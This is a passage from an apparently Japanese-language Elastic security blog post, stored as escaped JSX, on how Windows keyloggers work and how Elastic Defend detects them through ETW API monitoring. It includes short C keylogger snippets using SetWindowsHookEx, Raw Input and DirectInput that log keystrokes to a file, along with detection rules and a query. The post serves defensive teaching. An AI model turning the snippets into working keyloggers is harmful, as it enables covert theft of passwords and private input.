API\\u3092\\u901A\\u3058\\u3066\\u5229\\u7528\\u3059\\u308B\\u3053\\u3068\\u304C\\u51FA\\u6765\\u307E\\u3059\\u3002\\u4EE5\\u4E0B\\u304C\",(0,n.jsx)(e.code,{children:\"SetWindowsHookEx\"}),\" API\\u3092\\u4F7F\\u3063\\u305F\\u30DD\\u30FC\\u30EA\\u30F3\\u30B0\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306E\\u7C21\\u5358\\u306A\\u4F8B\\u3067\\u3059\\u3002\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-C\",children:`HMODULE hHookLibrary = LoadLibraryW(L\"hook.dll\");\nFARPROC hookFunc = GetProcAddress(hHookLibrary, \"SaveTheKey\");\n\nHHOOK keyboardHook = NULL;\n \nkeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,\n (HOOKPROC)hookFunc,\n hHookLibrary,\n 0);\n`})}),`\n`,(0,n.jsxs)(e.ol,{start:\"3\",children:[`\n`,(0,n.jsx)(e.li,{children:\"Raw Input Model\\u3092\\u7528\\u3044\\u305F\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\"}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"\\u3053\\u306E\\u30BF\\u30A4\\u30D7\\u306E\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306F\\u3001\\u30AD\\u30FC\\u30DC\\u30FC\\u30C9\\u306A\\u3069\\u306E\\u5165\\u529B\\u30C7\\u30D0\\u30A4\\u30B9\\u304B\\u3089\\u5F97\\u3089\\u308C\\u305F\\u3001\\u751F\\u306E\\u5165\\u529B\\u30C7\\u30FC\\u30BF(Raw Input)\\u3092\\u53D6\\u5F97\\u3057\\u3001\\u305D\\u308C\\u3092\\u4FDD\\u5B58\\u30FB\\u8A18\\u9332\\u3057\\u307E\\u3059\\u3002\\u3053\\u306E\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306E\\u8A73\\u7D30\\u306B\\u3064\\u3044\\u3066\\u8AAC\\u660E\\u3059\\u308B\\u524D\\u306B\\u3001\\u307E\\u305AWindows\\u306B\\u304A\\u3051\\u308B\\u5165\\u529B\\u65B9\\u5F0F\\u3067\\u3042\\u308B\\u300COriginal Input Model\\u300D\\u3068\\u300CRaw Input Model\\u300D\\u306B\\u3064\\u3044\\u3066\\u7406\\u89E3\\u3059\\u308B\\u5FC5\\u8981\\u304C\\u3042\\u308A\\u307E\\u3059\\u3002\\u4EE5\\u4E0B\\u304C\\u305D\\u308C\\u305E\\u308C\\u306E\\u5165\\u529B\\u65B9\\u5F0F\\u306B\\u3064\\u3044\\u3066\\u306E\\u8AAC\\u660E\\u3067\\u3059\\u3002\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Original Input Model\"}),\": \\u30AD\\u30FC\\u30DC\\u30FC\\u30C9\\u306A\\u3069\\u306E\\u5165\\u529B\\u30C7\\u30D0\\u30A4\\u30B9\\u304B\\u3089\\u5165\\u529B\\u3055\\u308C\\u305F\\u30C7\\u30FC\\u30BF\\u3092\\u3001\\u4E00\\u5EA6OS\\u3092\\u4ECB\\u3057\\u3066\\u5FC5\\u8981\\u306A\\u51E6\\u7406\\u3092\\u3057\\u305F\\u5F8C\\u3001\\u30A2\\u30D7\\u30EA\\u30B1\\u30FC\\u30B7\\u30E7\\u30F3\\u5074\\u306B\\u5C4A\\u3051\\u308B\\u65B9\\u5F0F\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Raw Input Model\"}),\": \\u30AD\\u30FC\\u30DC\\u30FC\\u30C9\\u306A\\u3069\\u306E\\u5165\\u529B\\u30C7\\u30D0\\u30A4\\u30B9\\u304B\\u3089\\u5165\\u529B\\u3055\\u308C\\u305F\\u30C7\\u30FC\\u30BF\\u3092\\u3001\\u305D\\u306E\\u307E\\u307E\\u30A2\\u30D7\\u30EA\\u30B1\\u30FC\\u30B7\\u30E7\\u30F3\\u5074\\u304C\\u76F4\\u63A5\\u53D7\\u3051\\u53D6\\u308B\\u65B9\\u5F0F\"]}),`\n`]}),`\n`,(0,n.jsxs)(e.p,{children:[\"Windows\\u3067\\u306F\\u5F53\\u521D\\u3001Original Input Model\\u306E\\u307F\\u304C\\u4F7F\\u308F\\u308C\\u3066\\u3044\\u307E\\u3057\\u305F\\u3002\\u3057\\u304B\\u3057Windows XP\\u4EE5\\u964D\\u306B\\u3001\\u304A\\u305D\\u3089\\u304F\\u306F\\u5165\\u529B\\u30C7\\u30D0\\u30A4\\u30B9\\u306E\\u591A\\u69D8\\u5316\\u306A\\u3069\\u306E\\u8981\\u56E0\\u304B\\u3089\\u3001Raw Input Model\\u304C\\u5C0E\\u5165\\u3055\\u308C\\u307E\\u3057\\u305F\\u3002Raw Input Model\\u3067\\u306F\\u3001\",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/ja-jp/windows/win32/api/winuser/nf-winuser-registerrawinputdevices\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"RegisterRawInputDevices\"})}),\" API\\u3092\\u4F7F\\u3044\\u3001\\u5165\\u529B\\u30C7\\u30FC\\u30BF\\u3092\\u76F4\\u63A5\\u53D7\\u3051\\u53D6\\u308A\\u305F\\u3044\\u5165\\u529B\\u30C7\\u30D0\\u30A4\\u30B9\\u3092\\u767B\\u9332\\u3057\\u307E\\u3059\\u3002\\u305D\\u3057\\u3066\\u305D\\u306E\\u5F8C\\u3001\",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/ja-jp/windows/win32/api/winuser/nf-winuser-getrawinputdata\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"GetRawInputData\"})}),`) API\\u3092\\u7528\\u3044\\u3066\\u751F\\u30C7\\u30FC\\u30BF\\u3092\\u53D6\\u5F97\\u3057\\u307E\\u3059\\u3002\n\\u4EE5\\u4E0B\\u304C\\u3053\\u308C\\u3089\\u306EAPI\\u3092\\u4F7F\\u3063\\u305F\\u3001Raw Input Model\\u3092\\u7528\\u3044\\u305F\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306E\\u7C21\\u5358\\u306A\\u4F8B\\u3067\\u3059\\u3002`]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-C\",children:`LRESULT CALLBACK WndProc(HWND hWnd, UINT uMessage, WPARAM wParam, LPARAM lParam)\n{\n\n UINT dwSize = 0;\n RAWINPUT* buffer = NULL;\n\n switch (uMessage)\n {\n case WM_CREATE:\n RAWINPUTDEVICE rid;\n rid.usUsagePage = 0x01; // HID_USAGE_PAGE_GENERIC\n rid.usUsage = 0x06; // HID_USAGE_GENERIC_KEYBOARD\n rid.dwFlags = RIDEV_NOLEGACY | RIDEV_INPUTSINK;\n rid.hwndTarget = hWnd;\n RegisterRawInputDevices(\u0026rid, 1, sizeof(rid));\n break;\n case WM_INPUT:\n GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL,\n\u0026dwSize, sizeof(RAWINPUTHEADER));\n\n buffer = (RAWINPUT*)HeapAlloc(GetProcessHeap(), 0, dwSize);\n\n if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, buffer, \n\u0026dwSize, sizeof(RAWINPUTHEADER)))\n {\n if (buffer-\u003eheader.dwType == RIM_TYPEKEYBOARD)\n {\n SaveTheKey(buffer, \"log.txt\");\n }\n }\n HeapFree(GetProcessHeap(), 0, buffer);\n break;\n default:\n return DefWindowProc(hWnd, uMessage, wParam, lParam);\n }\n return 0;\n}\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u3053\\u306E\\u4F8B\\u3067\\u306F\\u3001\\u6700\\u521D\\u306B\\u751F\\u5165\\u529B\\u3092\\u53D7\\u3051\\u53D6\\u308A\\u305F\\u3044\\u5165\\u529B\\u30C7\\u30D0\\u30A4\\u30B9\\u3092\",(0,n.jsx)(e.code,{children:\"RegisterRawInputDevices\"}),\"\\u3092\\u7528\\u3044\\u3066\\u3001\\u767B\\u9332\\u3057\\u307E\\u3059\\u3002\\u3053\\u3053\\u3067\\u306F\\u3001\\u30AD\\u30FC\\u30DC\\u30FC\\u30C9\\u306E\\u751F\\u5165\\u529B\\u30C7\\u30FC\\u30BF\\u3092\\u53D7\\u3051\\u53D6\\u308B\\u3088\\u3046\\u306B\\u8A2D\\u5B9A\\u30FB\\u767B\\u9332\\u3057\\u3066\\u3044\\u307E\\u3059\\u3002\"]}),`\n`,(0,n.jsxs)(e.ol,{start:\"4\",children:[`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.code,{children:\"DirectInput\"}),\"\\u3092\\u7528\\u3044\\u305F\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\"]}),`\n`]}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u6700\\u5F8C\\u306B\\u3001\",(0,n.jsx)(e.code,{children:\"DirectInput\"}),\"\\u3092\\u7528\\u3044\\u305F\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306B\\u3064\\u3044\\u3066\\u8AAC\\u660E\\u3057\\u307E\\u3059\\u3002\\u3053\\u306E\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306F\\u7C21\\u5358\\u306B\\u8A00\\u3048\\u3070Microsoft DirectX\\u306E\\u6A5F\\u80FD\\u3092\\u60AA\\u7528\\u3057\\u305F\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u3067\\u3059\\u3002DirectX\\u3068\\u306F\\u3001\\u30B2\\u30FC\\u30E0\\u3084\\u52D5\\u753B\\u306A\\u3069\\u306E\\u30DE\\u30EB\\u30C1\\u30E1\\u30C7\\u30A3\\u30A2\\u95A2\\u9023\\u306E\\u51E6\\u7406\\u3092\\u6271\\u3046\\u305F\\u3081\\u306EAPI\\u7FA4\\u306E\\u7DCF\\u79F0(\\u30E9\\u30A4\\u30D6\\u30E9\\u30EA)\\u3067\\u3059\\u3002\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u30B2\\u30FC\\u30E0\\u306B\\u304A\\u3044\\u3066\\u3001\\u30E6\\u30FC\\u30B6\\u304B\\u3089\\u5404\\u7A2E\\u5165\\u529B\\u304C\\u53D6\\u5F97\\u3067\\u304D\\u308B\\u3053\\u3068\\u306F\\u5FC5\\u9808\\u6A5F\\u80FD\\u3068\\u8A00\\u3063\\u3066\\u826F\\u3044\\u3053\\u3068\\u304B\\u3089\\u3001DirectX\\u306B\\u304A\\u3044\\u3066\\u3082\\u30E6\\u30FC\\u30B6\\u306E\\u5165\\u529B\\u3092\\u51E6\\u7406\\u3059\\u308BAPI\\u7FA4\\u304C\\u63D0\\u4F9B\\u3055\\u308C\\u3066\\u3044\\u307E\\u3059\\u3002\\u305D\\u3057\\u3066\\u3001DirectX\\u306E\\u30D0\\u30FC\\u30B8\\u30E7\\u30F38\\u4EE5\\u524D\\u306B\\u63D0\\u4F9B\\u3055\\u308C\\u3066\\u3044\\u305F\\u305D\\u308C\\u3089API\\u7FA4\\u306E\\u3053\\u3068\\u3092\\u300CDirectInput\\u300D\\u3068\\u547C\\u3073\\u307E\\u3059\\u3002\\u4EE5\\u4E0B\\u304C\",(0,n.jsx)(e.code,{children:\"DirectInput\"}),\"\\u306B\\u95A2\\u9023\\u3059\\u308BAPI\\u3092\\u4F7F\\u3063\\u305F\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306E\\u7C21\\u5358\\u306A\\u4F8B\\u3067\\u3059\\u3002\\u88DC\\u8DB3\\u3067\\u3059\\u304C\\u3001\",(0,n.jsx)(e.code,{children:\"DirectInput\"}),\"\\u3092\\u7528\\u3044\\u3066\\u30AD\\u30FC\\u3092\\u53D6\\u5F97\\u3059\\u308B\\u969B\\u3001\\u88CF\\u3067\\u306F\",(0,n.jsx)(e.code,{children:\"RegisterRawInputDevices\"}),\" API\\u304C\\u547C\\u3070\\u308C\\u3066\\u3044\\u307E\\u3059\\u3002\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-C\",children:`LPDIRECTINPUT8\t\tlpDI = NULL;\nLPDIRECTINPUTDEVICE8\tlpKeyboard = NULL;\n\nBYTE key[256];\nZeroMemory(key, sizeof(key));\n\nDirectInput8Create(hInstance, DIRECTINPUT_VERSION, IID_IDirectInput8, (LPVOID*)\u0026lpDI, NULL);\nlpDI-\u003eCreateDevice(GUID_SysKeyboard, \u0026lpKeyboard, NULL);\nlpKeyboard-\u003eSetDataFormat(\u0026c_dfDIKeyboard);\nlpKeyboard-\u003eSetCooperativeLevel(hwndMain, DISCL_FOREGROUND | DISCL_NONEXCLUSIVE | DISCL_NOWINKEY);\n\nwhile(true)\n{\n HRESULT ret = lpKeyboard-\u003eGetDeviceState(sizeof(key), key);\n if (FAILED(ret)) {\n lpKeyboard-\u003eAcquire();\n lpKeyboard-\u003eGetDeviceState(sizeof(key), key);\n }\n SaveTheKey(key, \"log.txt\");\t\n Sleep(50);\n}\n`})}),`\n`,(0,n.jsx)(e.h2,{id:\"windows-api\\u547C\\u3073\\u51FA\\u3057\\u3092\\u76E3\\u8996\\u3057\\u3066\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u3092\\u691C\\u51FA\\u3059\\u308B\",children:\"Windows API\\u547C\\u3073\\u51FA\\u3057\\u3092\\u76E3\\u8996\\u3057\\u3066\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u3092\\u691C\\u51FA\\u3059\\u308B\"}),`\n`,(0,n.jsx)(e.p,{children:\"Elastic Defend\\u3067\\u306F\\u3001Event Tracing for Windows (ETW \\u203B4)\\u3092\\u7528\\u3044\\u3066\\u3001\\u524D\\u8FF0\\u306E\\u7A2E\\u985E\\u306E\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u3092\\u691C\\u77E5\\u3057\\u3066\\u3044\\u307E\\u3059\\u3002\\u5177\\u4F53\\u7684\\u306B\\u306F\\u3001\\u95A2\\u9023\\u3059\\u308BWindows API\\u7FA4\\u306E\\u547C\\u3073\\u51FA\\u3057\\u3092\\u76E3\\u8996\\u3057\\u3001\\u305D\\u306E\\u6319\\u52D5\\u306E\\u30ED\\u30B0\\u3092\\u53D6\\u5F97\\u3059\\u308B\\u3053\\u3068\\u3067\\u5B9F\\u73FE\\u3057\\u3066\\u3044\\u307E\\u3059\\u3002\\u76E3\\u8996\\u3059\\u308BWindows API\\u7FA4\\u3068\\u3001\\u4ED8\\u968F\\u3057\\u3066\\u65B0\\u898F\\u306B\\u4F5C\\u6210\\u3057\\u305F\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306E\\u691C\\u77E5\\u30EB\\u30FC\\u30EB\\u306F\\u4EE5\\u4E0B\\u3067\\u3059\\u3002(\\u203B4 \\u4E00\\u8A00\\u3067\\u3044\\u3046\\u3068Windows\\u304C\\u63D0\\u4F9B\\u3059\\u308B\\u3001\\u30A2\\u30D7\\u30EA\\u30B1\\u30FC\\u30B7\\u30E7\\u30F3\\u3084\\u30C7\\u30D0\\u30A4\\u30B9\\u30C9\\u30E9\\u30A4\\u30D0\\u306A\\u3069\\u306E\\u30B7\\u30B9\\u30C6\\u30E0\\u5074\\u306E\\u30B3\\u30F3\\u30DD\\u30FC\\u30CD\\u30F3\\u30C8\\u3092\\u3001\\u30C8\\u30EC\\u30FC\\u30B9\\u304A\\u3088\\u3073\\u30ED\\u30AE\\u30F3\\u30B0\\u3059\\u308B\\u4ED5\\u7D44\\u307F\\u3002)\"}),`\n`,(0,n.jsx)(e.h3,{id:\"\\u76E3\\u8996\\u3059\\u308Bwindows-api\\u7FA4\",children:\"\\u76E3\\u8996\\u3059\\u308BWindows API\\u7FA4:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate\",rel:\"nofollow\",children:\"GetAsyncKeyState\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexw\",rel:\"nofollow\",children:\"SetWindowsHookEx\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-registerrawinputdevices\",rel:\"nofollow\",children:\"RegisterRawInputDevice\"})}),`\n`]}),`\n`,(0,n.jsx)(e.h3,{id:\"\\u8FFD\\u52A0\\u3057\\u305F\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u691C\\u77E5\\u30EB\\u30FC\\u30EB\\u4E00\\u89A7\",children:\"\\u8FFD\\u52A0\\u3057\\u305F\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u691C\\u77E5\\u30EB\\u30FC\\u30EB\\u4E00\\u89A7:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_getasynckeystate_api_call_from_suspicious_process.toml\",rel:\"nofollow\",children:\"GetAsyncKeyState API Call from Suspicious Process\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_getasynckeystate_api_call_from_unusual_process.toml\",rel:\"nofollow\",children:\"GetAsyncKeyState API Call from Unusual Process\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystroke_input_capture_via_directinput.toml\",rel:\"nofollow\",children:\"Keystroke Input Capture via DirectInput\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystroke_input_capture_via_registerrawinputdevices.toml\",rel:\"nofollow\",children:\"Keystroke Input Capture via RegisterRawInputDevices\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystroke_messages_hooking_via_setwindowshookex.toml\",rel:\"nofollow\",children:\"Keystroke Messages Hooking via SetWindowsHookEx\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystrokes_input_capture_from_a_managed_application.toml\",rel:\"nofollow\",children:\"Keystrokes Input Capture from a Managed Application\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystrokes_input_capture_from_a_suspicious_module.toml\",rel:\"nofollow\",children:\"Keystrokes Input Capture from a Suspicious Module\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystrokes_input_capture_from_suspicious_callstack.toml\",rel:\"nofollow\",children:\"Keystrokes Input Capture from Suspicious CallStack\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystrokes_input_capture_from_unsigned_dll.toml\",rel:\"nofollow\",children:\"Keystrokes Input Capture from Unsigned DLL\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystrokes_input_capture_via_setwindowshookex.toml\",rel:\"nofollow\",children:\"Keystrokes Input Capture via SetWindowsHookEx\"})}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"\\u65B0\\u898F\\u306B\\u8FFD\\u52A0\\u3057\\u305F\\u6A5F\\u80FD\\u304A\\u3088\\u3073\\u691C\\u77E5\\u30EB\\u30FC\\u30EB\\u306B\\u3088\\u308A\\u3001Elastic Defend\\u306B\\u3066\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u30FB\\u30AD\\u30FC\\u30ED\\u30AE\\u30F3\\u30B0\\u306E\\u5305\\u62EC\\u7684\\u306A\\u76E3\\u8996\\u3068\\u691C\\u51FA\\u304C\\u53EF\\u80FD\\u3068\\u306A\\u308A\\u3001\\u3053\\u308C\\u3089\\u306E\\u8105\\u5A01\\u306B\\u5BFE\\u3059\\u308BWindows\\u30A8\\u30F3\\u30C9\\u30DD\\u30A4\\u30F3\\u30C8\\u306E\\u30BB\\u30AD\\u30E5\\u30EA\\u30C6\\u30A3\\u3068\\u4FDD\\u8B77\\u306E\\u5F37\\u5316\\u3092\\u5B9F\\u73FE\\u3057\\u307E\\u3057\\u305F\\u3002\"}),`\n`,(0,n.jsx)(e.h3,{id:\"windows\\u306E\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u3092\\u691C\\u77E5\\u3059\\u308B\",children:\"Windows\\u306E\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u3092\\u691C\\u77E5\\u3059\\u308B\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u6B21\\u306B\\u5B9F\\u969B\\u306E\\u691C\\u77E5\\u306E\\u69D8\\u5B50\\u3092\\u304A\\u898B\\u305B\\u3057\\u307E\\u3059\\u3002\\u4F8B\\u3068\\u3057\\u3066\\u3001Raw Input Model\\u3092\\u7528\\u3044\\u305F\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u3092Elastic Defend\\u3067\\u691C\\u51FA\\u3057\\u3066\\u307F\\u307E\\u3059\\u3002\\u3053\\u3053\\u3067\\u306F\",(0,n.jsx)(e.code,{children:\"RegisterRawInputDevices\"}),\" API\\u3092\\u7528\\u3044\\u305F\\u7C21\\u6613\\u7684\\u306A\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u300CKeylogger.exe\\u300D\\u3092\\u7528\\u610F\\u3057\\u3001\\u30C6\\u30B9\\u30C8\\u74B0\\u5883\\u3067\\u5B9F\\u884C\\u3057\\u3066\\u307F\\u307E\\u3057\\u305F\\u203B5\\u3002(\\u203B5 \\u5B9F\\u884C\\u74B0\\u5883\\u306FWindows 10\\u306E\\u57F7\\u7B46\\u6642\\u70B9\\u306E\\u6700\\u65B0\\u7248\\u3067\\u3042\\u308BWindows 10 Version 22H2 19045.4412\\u3067\\u3059\\u3002)\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/protecting-your-devices-from-information-theft-keylogger-protection/image1.png\",alt:\"Elastic Security\\u306E\\u30A2\\u30E9\\u30FC\\u30C8\",width:\"460\",height:\"192\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u3092\\u5B9F\\u884C\\u3057\\u305F\\u76F4\\u5F8C\\u306B\\u3001\\u691C\\u77E5\\u30EB\\u30FC\\u30EB(\",(0,n.jsxs)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystroke_input_capture_via_registerrawinputdevices.toml\",rel:\"nofollow\",children:[\"Keystroke Input Capture via \",(0,n.jsx)(e.code,{children:\"RegisterRawInputDevices\"})]}),\")\\u304C\\u767A\\u52D5\\u3057\\u3001\\u30A8\\u30F3\\u30C9\\u30DD\\u30A4\\u30F3\\u30C8\\u5074\\u3067\\u30A2\\u30E9\\u30FC\\u30C8\\u304C\\u4E0A\\u304C\\u308A\\u307E\\u3057\\u305F\\u3002\\u3053\\u306E\\u30A2\\u30E9\\u30FC\\u30C8\\u306E\\u3055\\u3089\\u306A\\u308B\\u8A73\\u7D30\\u306FKibana\\u4E0A\\u304B\\u3089\\u898B\\u308B\\u3053\\u3068\\u304C\\u51FA\\u6765\\u307E\\u3059\\u3002\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/protecting-your-devices-from-information-theft-keylogger-protection/image3.png\",alt:\"Elastic Security\\u306E\\u30A2\\u30E9\\u30FC\\u30C8\\u30C0\\u30C3\\u30B7\\u30E5\\u30DC\\u30FC\\u30C9\",width:\"1440\",height:\"675\"})}),`\n`,(0,n.jsx)(e.p,{children:\"\\u4EE5\\u4E0B\\u304C\\u691C\\u77E5\\u30EB\\u30FC\\u30EB\\u306E\\u8A73\\u7D30\\u3067\\u3059\\u3002\\u691C\\u77E5\\u306B\\u4F7F\\u308F\\u308C\\u3066\\u3044\\u308BAPI\\u306E\\u90E8\\u5206\\u3092\\u4E2D\\u5FC3\\u306B\\u8AAC\\u660E\\u3057\\u307E\\u3059\\u3002\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-sql\",children:`query = '''\napi where\n process.Ext.api.name == \"RegisterRawInputDevices\" and not process.code_signature.status : \"trusted\" and\n process.Ext.api.parameters.usage : (\"HID_USAGE_GENERIC_KEYBOARD\", \"KEYBOARD\") and\n process.Ext.api.parameters.flags : \"*INPUTSINK*\" and process.thread.Ext.call_stack_summary : \"?*\" and\n process.thread.Ext.call_stack_final_user_module.hash.sha256 != null and process.executable != null and\n not process.thread.Ext.call_stack_final_user_module.path :\n (\"*\\\\\\\\program files*\", \"*\\\\\\\\windows\\\\\\\\system32\\\\\\\\*\", \"*\\\\\\\\windows\\\\\\\\syswow64\\\\\\\\*\",\n \"*\\\\\\\\windows\\\\\\\\systemapps\\\\\\\\*\",\n \"*\\\\\\\\users\\\\\\\\*\\\\\\\\appdata\\\\\\\\local\\\\\\\\*\\\\\\\\kumospace.exe\",\n \"*\\\\\\\\users\\\\\\\\*\\\\\\\\appdata\\\\\\\\local\\\\\\\\microsoft\\\\\\\\teams\\\\\\\\current\\\\\\\\teams.exe\") and \n not process.executable : (\"?:\\\\\\\\Program Files\\\\\\\\*.exe\", \"?:\\\\\\\\Program Files (x86)\\\\\\\\*.exe\")\n'''\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u3053\\u306E\\u30A2\\u30E9\\u30FC\\u30C8\\u306F\\u7C21\\u5358\\u306B\\u8A00\\u3046\\u3068\\u300C\\u7F72\\u540D\\u3055\\u308C\\u3066\\u3044\\u306A\\u3044\\u30D7\\u30ED\\u30BB\\u30B9\\u300D\\u307E\\u305F\\u306F\\u300C\\u7F72\\u540D\\u3055\\u308C\\u3066\\u3044\\u308B\\u304C\\u3001\\u305D\\u306E\\u7F72\\u540D\\u8005\\u304C\\u4FE1\\u983C\\u3067\\u304D\\u306A\\u3044\\u30D7\\u30ED\\u30BB\\u30B9\\u300D\\u304C\\u3001\\u30AD\\u30FC\\u5165\\u529B\\u3092\\u53D6\\u5F97\\u3059\\u308B\\u76EE\\u7684\\u3067\",(0,n.jsx)(e.code,{children:\"RegisterRawInputDevices\"}),\" API\\u3092\\u547C\\u3073\\u51FA\\u3057\\u305F\\u6642\\u306B\\u767A\\u305B\\u3089\\u308C\\u308B\\u30A2\\u30E9\\u30FC\\u30C8\\u3067\\u3059\\u3002\",(0,n.jsx)(e.code,{children:\"RegisterRawInputDevices\"}),\" API\\u304C\\u547C\\u3073\\u51FA\\u3055\\u308C\\u305F\\u969B\\u306E\\u5F15\\u6570\\u306E\\u60C5\\u5831\\u306B\\u7740\\u76EE\\u3057\\u3066\\u304A\\u308A\\u3001\\u3088\\u308A\\u5177\\u4F53\\u7684\\u306B\\u306FAPI\\u306E\\u7B2C\\u4E00\\u5F15\\u6570\\u3067\\u3042\\u308B\\u3001\",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/ja-jp/windows/win32/api/winuser/ns-winuser-rawinputdevice\",rel:\"nofollow\",children:\"RAWINPUTDEVICE\"}),\"\\u69CB\\u9020\\u4F53\\u306E\\u30E1\\u30F3\\u30D0\\u306E\\u60C5\\u5831\\u3092\\u691C\\u77E5\\u306B\\u7528\\u3044\\u3066\\u3044\\u307E\\u3059\\u3002\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u3053\\u306E\\u5F15\\u6570\\u306E\\u5024\\u304C\\u3001\\u30AD\\u30FC\\u30DC\\u30FC\\u30C9\\u5165\\u529B\\u306E\\u53D6\\u5F97\\u3092\\u8A66\\u307F\\u3066\\u3044\\u308B\\u3053\\u3068\\u3092\\u793A\\u3057\\u3066\\u3044\\u308B\\u5834\\u5408\\u3001\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u304C\\u5B9F\\u884C\\u3055\\u308C\\u305F\\u3068\\u898B\\u306A\\u3057\\u3066\\u3001\\u30A2\\u30E9\\u30FC\\u30C8\\u3092\\u4E0A\\u3052\\u308B\\u3088\\u3046\\u306B\\u306A\\u3063\\u3066\\u3044\\u307E\\u3059\\u3002 \",(0,n.jsx)(e.code,{children:\"RegisterRawInputDevices\"}),\" API\\u306E\\u30ED\\u30B0\\u306FKibana\\u4E0A\\u3067\\u3082\\u78BA\\u8A8D\\u3067\\u304D\\u307E\\u3059\\u3002\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/protecting-your-devices-from-information-theft-keylogger-protection/image2.png\",alt:\"Kibana\\u4E0A\\u3067\\u78BA\\u8A8D\\u3067\\u304D\\u308BRegisterRawInputDevices API\\u30ED\\u30B0\",width:\"1440\",height:\"717\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"\\u5404windows-api\\u306E\\u547C\\u3073\\u51FA\\u3057\\u306E\\u969B\\u306B\\u53D6\\u5F97\\u3057\\u3066\\u3044\\u308B\\u30C7\\u30FC\\u30BF\",children:\"\\u5404Windows 